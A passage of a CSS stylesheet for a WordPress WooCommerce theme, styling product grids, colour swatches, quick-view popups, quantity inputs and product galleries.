	-webkit-transform: translateX(0) translateZ(0);
	transform: translateX(0) translateZ(0);
	opacity: 1;
}
.products.product-style-5 .penci-soledad-product .penci-product-loop-top:hover .penci-product-loop-extra-buttons .button {
	-webkit-transform: translateY(-20px) translateZ(0);
	transform: translateY(-20px) translateZ(0);
	opacity: 1;
}
.products.product-style-5 .penci-product-loop-extra-buttons .button:hover {
	color: var(--pcl_5_btn_txt_hv_cl);
	background-color: var(--pcl_5_btn_bg_hv_cl);
	border-color: var(--pcl_5_btn_bd_hv_cl);
}
.products.product-style-6 .penci-product-loop-inner-content {
	background-color: var(--pcl_6_bg_cl);
	box-shadow: 0 0 4px rgba(0, 0, 0, 0.12);
	margin: 2px;
}
.products.product-style-6 .penci-product-loop-inner-content .penci-loop-title a {
	color: var(--pcl_6_tt_cl);
}
.products.product-style-6 .penci-product-loop-inner-content .penci-product-cats a {
	color: var(--pcl_6_l_cl);
}
.products.product-style-6 .penci-product-loop-inner-content .penci-product-cats a:hover {
	color: var(--pcl_6_lhv_cl);
}
.products.product-style-6 .penci-soledad-product .penci-product-loop-inner-content .price {
	color: var(--pcl_6_price_cl);
}
.products.product-style-6 .penci-product-loop-inner-content .penci-product-loop-title {
	padding: 0 15px 15px;
}
.products.product-style-6 .penci-soledad-product .penci-swatches-list {
	margin-bottom: 10px;
}
.products .penci-soledad-product .penci-swatches-list {
	align-items: center;
}
.products .penci-soledad-product .penci-stock-progress-bar {
	margin-top: 15px;
}
.products .penci-soledad-product h3,
.products .penci-soledad-product .woocommerce-loop-product__title {
	margin-bottom: 5px;
}
.products.product-standard .penci-soledad-product h3,
.products.product-standard .penci-soledad-product .woocommerce-loop-product__title {
	margin-top: 10px;
	text-align: center;
}
.products .penci-soledad-product .price {
	margin-top: 10px;
}
.products.product-standard .penci-soledad-product .price {
	display: block;
	text-align: center;
}
.products.product-standard .penci-soledad-product .button {
	display: block;
	margin: 0 auto;
}
.products.product-style-5 .penci-soledad-product .price {
	margin-top: 5px;
}
.products .penci-soledad-product .price ins,
.products .penci-soledad-product .price {
	font-weight: bold;
	text-decoration: none;
	color: var(--pccat_price_cl);
}
.products .penci-soledad-product .price del {
	opacity: 0.5;
	color: inherit;
}
.products .penci-soledad-product .penci-product-cats {
	margin-bottom: 7px;
}
.products.product-style-1 .penci-soledad-product .penci-product-cats,
.products.product-style-1 .penci-soledad-product .star-rating,
.products.product-standard .penci-soledad-product .penci-product-cats {
	text-align: center;
}
.products .penci-product-cats a {
	color: var(--pccat_cat_cl);
}
.products .penci-product-cats a:hover {
	color: var(--pccat_cat_hv_cl);
}
.penci-soledad-product .penci-swatches-list {
	display: flex;
	margin: 10px -4px 0;
}
.products.product-list .penci-soledad-product .penci-swatches-list {
	margin-bottom: 10px;
}
.products.product-style-1 .penci-soledad-product .penci-swatches-list {
	margin: 0 -3px 10px;
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item {
	font-size: 0;
	display: inline-flex;
	width: 15px;
	height: 18px;
	margin: 0 4px;
	cursor: pointer;
	text-indent: -999999px;
	border-radius: 50%;
	background-color: #f1f1f1;
	box-shadow: 0 1px 1px 0 rgba(55, 55, 55, 0.1);
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item.no-user-swatch,
.penci-soledad-product .penci-swatches-list .penci-swatch-item.label {
	text-indent: 0;
	font-size: 13px;
	line-height: 16px;
	text-align: center;
	justify-content: center;
	border-radius: 0;
	padding: 0 6px;
	width: auto;
	background-color: var(--pcbg-cl);
	border: 1px solid var(--pcpage_gbdr_cl);
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item.swatch-with-bg {
	font-size: 0;
	line-height: 0;
	width: 16px;
	height: 16px;
	margin: 0 4px;
	cursor: pointer;
	text-indent: -999999px;
	border-radius: 50%;
	border: 0;
	padding: 0;
	background-color: transparent;
	box-shadow: 0 0 0 0 transparent;
	transition: all 0.3s ease-in-out;
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item.swatch-with-bg.bg-image {
	width: 20px;
	height: 20px;
	border-radius: 0;
	background-size: cover;
}
.penci-soledad-product.loading-image .penci-swatches-list .penci-swatch-item {
	pointer-events: none;
}
.penci-soledad-product.active-custom-swatches .penci-swatches-list .penci-swatch-item:not(.swatch-with-bg) {
	opacity: .5;
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item:hover {
	opacity: .75;
}
.penci-soledad-product.active-custom-swatches .penci-swatches-list .penci-swatch-item.active-swatches {
	opacity: 1;
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item.swatch-with-bg:hover,
.penci-soledad-product .penci-swatches-list .penci-swatch-item.swatch-with-bg.active-swatches {
	box-shadow: 0 0 0 1px var(--pcpage_gbdr_cl), inset 0 0 0 2px var(--pcbg-cl);
}
.penci-soledad-product .penci-swatches-divider {
	cursor: pointer;
	line-height: 15px;
	margin: 0 4px;
	transition: all 0.3s;
}
.penci-soledad-product .penci-swatches-divider:hover {
	opacity: 0.6;
}
.products.product-style-7 .penci-product-loop-title {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 9;
	color: #fff;
	padding: 15px 48px;
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
	justify-content: center;
	text-align: center;
	transition: 0.3s all ease-in-out;
	opacity: 0;
	visibility: hidden;
}
.products.product-style-7 .penci-product-loop-title:before {
	content: '';
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background-color: var(--pcl_o_bg);
	opacity: var(--pcl_o_opacity);
	position: absolute;
	z-index: -1;
}
.products.product-style-7 .penci-soledad-product.penci-hover .penci-product-loop-title,
.products.product-style-7 .penci-soledad-product:hover .penci-product-loop-title {
	opacity: 1;
	visibility: visible;
}
.products.product-style-7.icon-style-round.icon-align-vertical .penci-product-loop-buttons {
	position: absolute;
}
.products.product-style-7.icon-style-round.icon-align-vertical .penci-product-loop-button,
.products.product-style-7.icon-style-round.icon-align-vertical .penci-product-loop-button a {
	background-color: transparent;
}
.products.product-style-7 .price,
.products.product-style-7 .penci-product-loop-title a {
	color: var(--pcl_o_tt_cl);
}
.products.product-style-7 .penci-product-loop-title .penci-product-cats a {
	color: var(--pcl_o_l_cl);
}
.products.product-style-7 .penci-product-loop-title .penci-product-cats a:hover {
	color: var(--pcl_o_lhv_cl);
}
.products.product-style-7.icon-align-horizontal .penci-product-loop-buttons {
	margin-top: 15px;
}
.products.product-style-7 .penci-swatches-list {
	justify-content: center;
}
.products.product-style-7.icon-align-horizontal .penci-product-loop-buttons .penci-product-loop-button,
.products.product-style-7.icon-align-horizontal .penci-product-loop-buttons .penci-product-loop-button a.button {
	background-color: transparent;
	box-shadow: none;
}
.products.product-style-7 .penci-product-loop-buttons .penci-product-loop-button a.button:before {
	color: var(--pcheading-cl);
}
.products.product-style-7.icon-style-round .penci-product-loop-buttons .penci-product-loop-button a.button:before {
	color: var(--pcl_o_btn_cl);
}
.products.product-style-7 .penci-product-loop-buttons .penci-product-loop-button a.button.loading:after {
	border-left-color: var(--pcl_o_btn_cl);
}
.products.product-style-7.icon-style-group.icon-align-vertical .penci-product-loop-buttons {
	position: absolute;
}
.penci-soledad-product.style-7 .penci-swatches-list .penci-swatch-item.no-user-swatch,
.penci-soledad-product.style-7 .penci-swatches-list .penci-swatch-item.label {
	color: #111;
}
.products.icon-align-horizontal .penci-product-loop-buttons {
	left: 10px;
	right: 10px;
}
.products.icon-align-horizontal .penci-product-loop-buttons .penci-product-loop-button {
	flex-direction: row;
	justify-content: center;
	padding: 0 8px;
}
.products.icon-align-horizontal .penci-product-loop-buttons .penci-product-loop-button .button {
	flex: 0 0 40px;
}
.products.icon-style-group.icon-align-vertical .penci-product-loop-buttons .penci-product-loop-button {
	flex-direction: column;
}
.products.icon-style-group.icon-align-vertical.icon-position-top-left .penci-product-loop-buttons {
	top: 10px;
	right: auto;
	left: 10px;
}
.products.icon-style-group.icon-align-vertical.icon-position-top-right .penci-product-loop-buttons {
	top: 10px;
	right: 10px;
	left: auto;
}
.products.icon-style-group.icon-align-vertical.icon-position-bottom-left .penci-product-loop-buttons {
	top: auto;
	right: auto;
	left: 10px;
	bottom: 10px;
}
.products.icon-style-group.icon-align-vertical.icon-position-bottom-right .penci-product-loop-buttons {
	top: auto;
	left: auto;
	right: 10px;
	bottom: 10px;
}
.products.icon-style-group .penci-product-loop-buttons {
	transition: 0.3s all ease-in-out;
	opacity: 0;
	visibility: hidden;
}
.products.icon-position-center-top .penci-product-loop-buttons,
.products.icon-position-center-center .penci-product-loop-buttons,
.products.icon-position-center-bottom .penci-product-loop-buttons {
	text-align: center;
}
.products.icon-style-group.icon-animation-move-right .penci-soledad-product .penci-product-loop-buttons {
	transform: translate(-15px, 0);
	-webkit-transform: translate(-15px, 0);
	-moz-transform: translate(-15px, 0);
}
.products.icon-style-group.icon-animation-move-left .penci-soledad-product .penci-product-loop-buttons {
	transform: translate(15px, 0);
	-webkit-transform: translate(15px, 0);
	-moz-transform: translate(15px, 0);
}
.products.icon-style-group.icon-animation-move-top .penci-soledad-product .penci-product-loop-buttons {
	transform: translate(0, 15px);
	-webkit-transform: translate(0, 15px);
	-moz-transform: translate(0, 15px);
}
.products.icon-style-group.icon-animation-move-bottom .penci-soledad-product .penci-product-loop-buttons {
	transform: translate(0, -15px);
	-webkit-transform: translate(0, -15px);
	-moz-transform: translate(0, -15px);
}
.products.icon-style-group.icon-animation-fade .penci-soledad-product .penci-product-loop-buttons {
	transform: translate(0, 0);
	-webkit-transform: translate(0, 0);
	-moz-transform: translate(0, 0);
}
.products.icon-style-group.icon-animation-zoom .penci-soledad-product .penci-product-loop-buttons {
	transform: scale(0.85);
	-webkit-transform: scale(0.85);
	-moz-transform: scale(0.85);
}
.products.icon-style-group .penci-soledad-product.penci-hover .penci-product-loop-buttons,
.products.icon-style-group .penci-soledad-product:hover .penci-product-loop-buttons {
	transform: translate(0, 0) scale(1);
	-webkit-transform: translate(0, 0) scale(1);
	-moz-transform: translate(0, 0) scale(1);
	opacity: 1;
	visibility: visible;
}
/*************************************
 * Product Icon Style
 ************************************/
.products.icon-style-round.icon-align-vertical .penci-product-loop-buttons {
	top: 0;
	right: 0;
	bottom: 5px;
	left: 0;
	display: flex;
	align-content: start;
	flex-wrap: wrap;
	justify-content: start;
	width: 60px;
	padding: 10px;
}
.products.icon-align-vertical .penci-soledad-product .penci-product-loop-button {
	max-width: unset;
}
.products.icon-align-horizontal.icon-position-center-top .penci-product-loop-buttons {
	top: 10px;
	bottom: auto;
	position: absolute;
}
.products.icon-align-horizontal.icon-position-center-center .penci-product-loop-buttons {
	top: 50%;
	bottom: 50%;
	margin-top: -20px;
	position: absolute;
}
.products.icon-align-horizontal.icon-position-center-bottom .penci-product-loop-buttons {
	top: auto;
	bottom: 10px;
	position: absolute;
}
.products.icon-style-round.icon-align-vertical.icon-position-top-right .penci-product-loop-buttons {
	left: auto;
	justify-content: flex-end;
}
.products.icon-style-round.icon-align-vertical.icon-position-bottom-left .penci-product-loop-buttons {
	align-content: flex-end;
}
.products.icon-style-round.icon-align-vertical.icon-position-bottom-right .penci-product-loop-buttons {
	left: auto;
	align-content: flex-end;
	justify-content: flex-end;
}
.products.icon-style-round.icon-align-vertical .penci-product-loop-buttons .button {
	flex: 0 0 40px;
}
.products.icon-style-round.icon-align-vertical .penci-product-loop-button {
	flex-direction: column;
	padding: 0;
}
.products.icon-style-round.icon-align-vertical .penci-product-loop-button .button {
	margin: 0 0 8px;
}
.products.icon-style-round.icon-align-vertical .penci-product-loop-button .button:last-child {
	margin-bottom: 0;
}
.products.icon-style-round .penci-product-loop-buttons {
	transition: all 0.3s cubic-bezier(.645, .045, .355, 1);
	-moz-transform: none;
	-webkit-transform: none;
	transform: none;
}
.products.icon-style-round .penci-product-loop-button {
	transition: all 0.3s cubic-bezier(.645, .045, .355, 1);
	background-color: transparent;
	-moz-box-shadow: none;
	-webkit-box-shadow: none;
	box-shadow: none;
}
.products.icon-style-round .penci-product-loop-button .button {
	visibility: hidden;
	width: 40px;
	height: 40px;
	margin: 0 2px;
	transition: all 0.3s cubic-bezier(0.645, 0.045, 0.355, 1);
	transform: translate3d(0, 0, 0);
	pointer-events: auto;
	opacity: 0;
	border-radius: 50%;
	background-color: var(--pcl_btn_group_bg_color);
}
.products.icon-style-round.icon-align-horizontal .penci-product-loop-button .button {
	margin: 2px;
}
.penci_sidebar .products.columns-4.icon-style-round .penci-product-loop-button .button {
	flex: 0 0 30px;
	width: 30px;
	height: 30px;
}
.penci_sidebar .products.columns-4.products.icon-style-round .penci-product-loop-button .button:before {
	font-size: 12px;
}
.products.icon-style-round.icon-animation-move-left .penci-product-loop-button .button {
	transform: translate3d(15px, 0, 0);
}
.products.icon-style-round.icon-animation-move-right .penci-product-loop-button .button {
	transform: translate3d(-15px, 0, 0);
}
.products.icon-style-round.icon-animation-move-bottom .penci-product-loop-button .button {
	transform: translate3d(0, -15px, 0);
}
.products.icon-style-round.icon-animation-move-top .penci-product-loop-button .button {
	transform: translate3d(0, 15px, 0);
}
.products.icon-style-round.icon-animation-zoom .penci-product-loop-button .button {
	transform: scale(0.5);
}
.products.icon-style-round .penci-soledad-product.penci-hover .penci-product-loop-button .button,
.products.icon-style-round .penci-soledad-product:hover .penci-product-loop-button .button {
	visibility: visible;
	transform: translate3d(0, 0, 0) scale(1);
	opacity: 1;
}
.products.icon-style-round:not(.product-standard) .penci-soledad-product .penci-product-loop-top:hover .star-rating,
.products.icon-style-round:not(.product-standard) .penci-soledad-product .penci-product-loop-top:hover .product-labels {
	opacity: 0;
}
.products.icon-style-round .penci-product-loop-button > a.button.loading:after {
	margin: -2px 0 0 -8px;
}
.penci_sidebar .products.columns-4.icon-style-round .penci-product-loop-button > a.button.loading:after {
	margin: -7px 0 0 -8px;
}
.products.icon-style-round .penci-soledad-product .penci-product-loop-button .button:nth-child(1) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.05s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.05s, color 0.3s, background 0.3s;
}
.products.icon-style-round .penci-soledad-product .penci-product-loop-button .button:nth-child(2) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.09s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.09s, color 0.3s, background 0.3s;
}
.products.icon-style-round .penci-soledad-product .penci-product-loop-button .button:nth-child(3) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.13s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.13s, color 0.3s, background 0.3s;
}
.products.icon-style-round .penci-soledad-product .penci-product-loop-button .button:nth-child(4) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.17s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.17s, color 0.3s, background 0.3s;
}
.products.icon-style-round.icon-animation-zoom .penci-soledad-product .penci-product-loop-button .button:nth-child(1) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.05s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.05s, color 0.3s, background 0.3s;
}
.products.icon-style-round.icon-animation-zoom .penci-soledad-product .penci-product-loop-button .button:nth-child(2) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.11s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.11s, color 0.3s, background 0.3s;
}
.products.icon-style-round.icon-animation-zoom .penci-soledad-product .penci-product-loop-button .button:nth-child(3) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.17s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.17s, color 0.3s, background 0.3s;
}
.products.icon-style-round.icon-animation-zoom .penci-soledad-product .penci-product-loop-button .button:nth-child(4) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.23s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.23s, color 0.3s, background 0.3s;
}
#yith-quick-view-modal .yith-wcqv-main {
	padding: 40px;
	box-shadow: none;
}
#yith-quick-view-close {
	font-size: 0;
	line-height: 0;
	width: 35px;
	height: 35px;
	opacity: 1;
	color: #f7f7f7;
	border: 0;
	background-color: #333;
}
#yith-quick-view-close:before {
	font-family: "penciicon", serif;
	font-size: 16px;
	font-weight: normal;
	line-height: 35px;
	content: "";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
#yith-quick-view-close:hover {
	color: white;
	background-color: black;
}
.yith-wcwl-wishlistexistsbrowse .feedback {
	display: none;
}
/*************************************
 * Single Product
 ************************************/
.product.penci-woo-single-center {
	position: relative;
}
.product.penci-woo-single-center .summary.entry-summary {
	text-align: center;
}
.product.penci-woo-single-center form.cart div.quantity,
.product.penci-woo-single-center form.cart .button {
	float: none;
}
.penci-review-style-default {
	display: flex;
	flex-wrap: wrap;
	margin-right: -15px;
	margin-left: -15px;
}
.woocommerce #reviews #comments ol.commentlist {
	padding: 0;
}
.woocommerce #reviews #comments ol.commentlist li {
	list-style: none;
}
.penci-review-style-default #comments,
.penci-review-style-default #review_form_wrapper {
	flex: 0 0 50%;
	max-width: 50%;
	padding-right: 15px;
	padding-left: 15px;
}
.woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title {
	margin-top: 0;
}
.woocommerce-accordion-item .penci-review-style-default #comments .woocommerce-Reviews-title,
.product .woocommerce-accordion-item #respond .comment-reply-title {
	margin-top: 15px;
	font-size: var(--pcsl_tt_fs);
	font-family: var(--pchead-font);
	color: #313131;
	clear: both;
	letter-spacing: 0;
	line-height: 1.3em;
	margin-bottom: 15px;
	text-transform: uppercase;
	font-weight: var(--pchead-wei);
	text-align: left;
	display: block;
}
#respond .comment-form-cookies-consent label {
	vertical-align: middle;
}
.penci-extra-buttons .penci-addtowishlist.button,
.summary.entry-summary .compare.button {
	font-size: inherit;
	padding: 0;
	text-transform: none;
	color: inherit;
	background: transparent;
}
.penci-extra-buttons .penci-addtowishlist.button:hover,
.summary.entry-summary .compare.button:hover {
	color: inherit;
	background-color: transparent;
}
.penci-extra-buttons {
	padding-bottom: 15px;
}
.penci-extra-buttons .yith-wcwl-add-to-wishlist,
.penci-extra-buttons .penci-addtowishlist.button,
.penci-extra-buttons .woocommerce.product.compare-button {
	display: inline-block;
}
.woocommerce .penci-extra-buttons > .button {
	margin-right: 20px;
}
.woocommerce .penci-extra-buttons > .button:last-child {
	margin-right: 0;
}
.penci-extra-buttons a,
.penci-extra-buttons .compare.button {
	font-weight: var(--pchead-wei);
	vertical-align: middle;
	color: black;
}
.penci-extra-buttons .penci-addtowishlist.button:before,
.penci-extra-buttons .compare.button:before {
	font-family: "penciicon", serif;
	font-weight: normal;
	/*line-height: 1;*/
	display: inline-block;
	margin-right: 5px;
	content: "\f16a";
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.penci-extra-buttons .penci-addtowishlist.button:before {
	content: '\f109';
}
.penci-extra-buttons .penci-addtowishlist.button.loading:before,
.penci-extra-buttons .compare.button.loading:before {
	position: static;
	display: inline-block;
	margin: -2px 5px 0 0;
}
.penci-extra-buttons .penci-addtowishlist.button.added:before,
.penci-extra-buttons .compare.button.added:before {
	content: '\f111';
}
.penci-extra-buttons .penci-addtowishlist.button.added:after,
.penci-extra-buttons .compare.button.added:after {
	display: none;
}
.penci-extra-buttons .penci-addtowishlist.button.loading:after,
.penci-extra-buttons .compare.button.loading:after {
	display: none;
}
.products.columns-4 .product {
	margin-bottom: 30px;
}
/*************************************
 * Penci Quickview
 ************************************/
.penci-content-quickview {
	position: relative;
	width: auto;
	max-width: var(--pc-woo-quick-view-width);
	margin: 20px auto;
	padding: 20px;
	-moz-transition: all 0.3s ease;
	-webkit-transition: all 0.3s ease;
	transition: all 0.3s ease;
	-webkit-transform: translateY(100px);
	transform: translateY(100px);
	opacity: 0;
	background: var(--pcbg-cl);
}
.penci-content-quickview .woocommerce-product-gallery__image > a,
.penci-content-quickview .penci-product-gallery-slider .woocommerce-product-gallery__image > a {
	pointer-events: none;
}
.penci-content-quickview button.mfp-close,
.penci-content-quickview button.mfp-arrow {
	line-height: 40px;
	top: 0;
	right: 0;
	width: 40px;
	height: 40px;
	transition: all 0.3s;
	opacity: 1;
	color: var(--pctext-cl);
	background: none;
	font-size: 32px;
	opacity: 0.7;
}
.penci-content-quickview button.mfp-close:hover,
.penci-content-quickview button.mfp-arrow:hover {
	opacity: 0.6;
}
.penci-content-quickview .product {
	overflow: hidden;
}
.penci-content-quickview .product.hide-variable .woocommerce-variation-description {
	display: none;
}
.woocommerce .penci-content-quickview div.product {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	margin-right: -15px;
	margin-left: -15px;
}
.woocommerce .penci-content-quickview div.product div.images,
.woocommerce .penci-content-quickview div.product div.summary {
	float: none;
	flex: 0 0 auto;
	width: 50%;
	padding-right: 15px;
	padding-left: 15px;
}
.woocommerce .penci-content-quickview div.product div.images,
.woocommerce .penci-content-quickview div.product div.summary,
.woocommerce .penci-content-quickview div.product div.images .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image:first-child {
	margin-bottom: 0;
}
.woocommerce .penci-content-quickview div.product div.summary {
	overflow: hidden;
	overflow-y: auto;
	max-height: 600px;
}
.woocommerce .penci-content-quickview div.product.no-product-gallery div.summary {
	max-height: 445px;
}
.quick-view-wrapper.mfp-ready .penci-content-quickview {
	-webkit-transform: translateY(0);
	transform: translateY(0);
	opacity: 1;
}
.quick-view-wrapper.mfp-removing .penci-content-quickview {
	-webkit-transform: translateY(-100px);
	transform: translateY(-100px);
	opacity: 0;
}
.quick-view-wrapper .penci-content-quickview .product {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
}
.quick-view-wrapper .penci-content-quickview .product .entry-summary-wrapper {
	width: 50%;
	flex: 0 0 auto;
	padding: 0 15px;
	position: relative;
}
.quick-view-wrapper .penci-content-quickview .product .entry-summary-wrapper .summary.entry-summary {
	width: 100%;
	max-height: unset;
	padding: 0 15px;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	overflow: hidden;
	overflow-y: auto;
}
.hidden {
	display: none !important;
	visibility: hidden !important;
}
@media only screen and (max-width: 767px) {
	.mfp-container {
		padding-left: 0;
		padding-right: 0;
	}
	.penci-content-quickview {
		margin: 10px;
	}
	.penci-content-quickview .woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider {
		display: none;
	}
	.splide__arrows button {
		opacity: 1;
	}
	.splide__arrows button svg {
		max-width: 20px;
	}
	.woocommerce .penci-content-quickview div.product {
		flex-direction: column;
	}
	.woocommerce .penci-content-quickview div.product div.images,
	.woocommerce .penci-content-quickview div.product div.summary,
	.quick-view-wrapper .penci-content-quickview .product .entry-summary-wrapper {
		width: 100%;
	}
	.quick-view-wrapper .penci-content-quickview .product .entry-summary-wrapper .summary.entry-summary {
		position: relative;
		margin-top: 15px;
	}
}
/* Swatches */
.penci-swatches .swatch {
	line-height: 26px;
	position: relative;
	display: inline-block;
	width: 26px;
	height: 26px;
	margin-right: 8px;
	cursor: pointer;
	-moz-transition: all 0.3s;
	-o-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	text-align: center;
	white-space: nowrap;
	-moz-border-radius: 50%;
	-webkit-border-radius: 50%;
	border-radius: 50%;
	vertical-align: top;
}
.penci-swatches .swatch:last-child {
	margin-right: 0;
}
.penci-swatches .swatch.disabled {
	cursor: default;
	opacity: 0.1 !important;
}
.penci-swatches .swatch.disabled .swatch__tooltip {
	display: none;
}
.penci-swatches .swatch-color {
	text-indent: -9999em;
	transition: 0.3s all ease-in-out;
	box-shadow: 0 0 0 0 transparent;
}
.penci-swatches .swatch-color.selected {
	opacity: 1;
	box-shadow: 0 0 0 1px var(--pcpage_gbdr_cl), inset 0 0 0 5px var(--pcbg-cl);
}
.penci-swatches .swatch-label {
	font-size: 14px;
	width: auto;
	height: auto;
	padding: 1px 10px;
	color: var(--pctext-cl);
	border: 1px solid var(--pcpage_btns_bdr_cl);
	background-color: var(--pcbg-cl);
	border-radius: 2px;
	transition: all 0.3s ease-in-out;
}
.penci-swatches .swatch-label:hover,
.penci-swatches .swatch-label.selected {
	color: #fff;
	background-color: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
}
.penci-swatches .swatch-image {
	font-size: 0;
	border-radius: 0;
	box-shadow: 0 0 0 0 transparent;
}
.penci-swatches .swatch-image.selected {
	box-shadow: 0 0 0 1px var(--pcpage_gbdr_cl), inset 0 0 0 5px var(--pcbg-cl);
}
.penci-swatches .swatch-image .swatch__tooltip {
	font-size: 14px;
}
.penci-swatches .swatch__tooltip {
	font-size: 14px;
	line-height: 1.3;
	font-weight: 500;
	position: absolute;
	z-index: 2;
	top: 0;
	left: 50%;
	visibility: hidden;
	margin: -10px 0 0 0;
	padding: 6px 10px;
	user-select: none;
	-moz-transition: all 0.3s;
	-o-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	-moz-transform: translate(-50%, -100%);
	-webkit-transform: translate(-50%, -100%);
	transform: translate(-50%, -100%);
	text-indent: initial;
	opacity: 0;
	color: #fff;
	background: #333;
}
.penci-swatches .swatch__tooltip:after {
	position: absolute;
	bottom: -3px;
	left: 50%;
	width: 6px;
	height: 6px;
	margin-left: -3px;
	content: "";
	-moz-transform: rotate(45deg);
	-webkit-transform: rotate(45deg);
	transform: rotate(45deg);
	background: #333;
}
.penci-swatches .swatch:hover .swatch__tooltip {
	visibility: visible;
	user-select: auto;
	opacity: 1;
}
.woocommerce div.product form.cart .variations td.label {
	margin: 0;
	padding: 0 15px 15px 0;
}
.woocommerce div.product form.cart .variations td.value {
	position: relative;
	width: 100%;
}
.woocommerce div.product .product_meta span.product_meta_title,
.woocommerce div.product .product_meta > span {
	font-weight: bold;
	color: var(--pcheading-cl);
	margin-bottom: 15px;
}
.woocommerce div.product .product_meta span.product_meta_title {
	display: inline-block;
	margin-bottom: 0;
}
.woocommerce div.product .product_meta > span > * {
	font-weight: normal;
	color: var(--pcmeta-cl);
}
.woocommerce div.product p.stock.out-of-stock {
	color: var(--pclabel_outstock);
}
/* Product Quantity */
div.quantity {
	font-size: 0;
	display: inline-flex;
	vertical-align: top;
	white-space: nowrap;
}
div.quantity input[type=number]::-webkit-inner-spin-button,
div.quantity input[type=number]::-webkit-outer-spin-button,
div.quantity input[type="number"] {
	margin: 0;
	-webkit-appearance: none;
	-moz-appearance: none;
	appearance: none;
}
div.quantity input[type="number"],
div.quantity input[type="button"] {
	display: inline-block;
	color: var(--pctext-cl);
	background-color: var(--pcbg-cl);
}
.woocommerce .quantity .qty,
div.quantity input[type="number"] {
	display: flex;
	align-self: center;
	width: 30px;
	height: 40px;
	color: var(--pctext-cl);
	border-right: none;
	border-left: none;
	border-radius: 0;
}
@-moz-document url-prefix() {
	div.quantity input[type="number"] {
		-webkit-appearance: textfield;
		-moz-appearance: textfield;
		/*appearance: textfield;*/
	}
}
div.quantity input[type="button"] {
	min-width: 25px;
	height: 40px;
	padding: 0 5px;
	border: 1px solid var(--pcborder-cl);
	background: var(--pcbg-cl);
	box-shadow: none;
}
div.quantity input[type="button"]:hover {
	color: var(--pctext-cl);
	border-color: var(--pcaccent-cl);
	background-color: var(--pcaccent-cl);
}
div.quantity .minus {
	border-top-left-radius: 0;
	border-bottom-left-radius: 0;
}
div.quantity .plus {
	border-top-right-radius: 0;
	border-bottom-right-radius: 0;
}
div.quantity.hidden {
	display: none !important;
}
.variations select,
.woocommerce-ordering select,
.penci-widget-layered-nav-dropdown-form select {
	font-size: 14px;
	font-weight: bold;
	line-height: 18px;
	max-width: 140px;
	height: auto;
	padding-right: 20px;
	padding-bottom: 5px;
	padding-left: 2px;
	cursor: pointer;
	color: #2d2a2a;
	border: 0;
	border-bottom: 2px solid var(--pcborder-cl);
	border-radius: 0;
	background-position: right 0 top 50%;
}
.woocommerce .widget .woocommerce-ordering,
.woocommerce-page .widget .woocommerce-ordering,
.penci-widget-layered-nav-dropdown-form select,
.widget .woocommerce-ordering select {
	float: none;
	width: 100%;
	max-width: unset;
}
.woocommerce-ordering select:focus {
	border-color: var(--pcaccent-cl)
}
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image {
	overflow: hidden;
}
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image:first-child {
	margin-bottom: 0;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
	top: 10px;
	right: 10px;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:before,
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:after {
	top: 12px;
	right: 0;
	bottom: 0;
	left: 0;
	width: unset;
	height: unset;
	text-align: center;
	border: 0;
	background-color: transparent;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:before {
	font-family: penciicon, serif;
	font-size: 12px;
	content: '\f112';
	text-indent: 0;
	color: var(--pcheading-cl);
}
.woocommerce .penci-product-gallery-slider {
	margin-bottom: 10px;
}
.woocommerce .penci-product-gallery-slider.splide {
	margin-bottom: 0;
}
.woocommerce-product-gallery.thumbnail-right,
.woocommerce-product-gallery.thumbnail-left {
	position: relative;
	overflow: hidden;
}
.woocommerce-product-gallery.thumbnail-left .penci-product-gallery-slider {
	margin-left: 110px;
}
.woocommerce-product-gallery.thumbnail-right .penci-product-gallery-slider {
	margin-right: 110px;
}
.woocommerce-product-gallery.thumbnail-right .penci-product-gallery-slider figure,
.woocommerce-product-gallery.thumbnail-left .penci-product-gallery-slider figure {
	max-width: 100%;
}
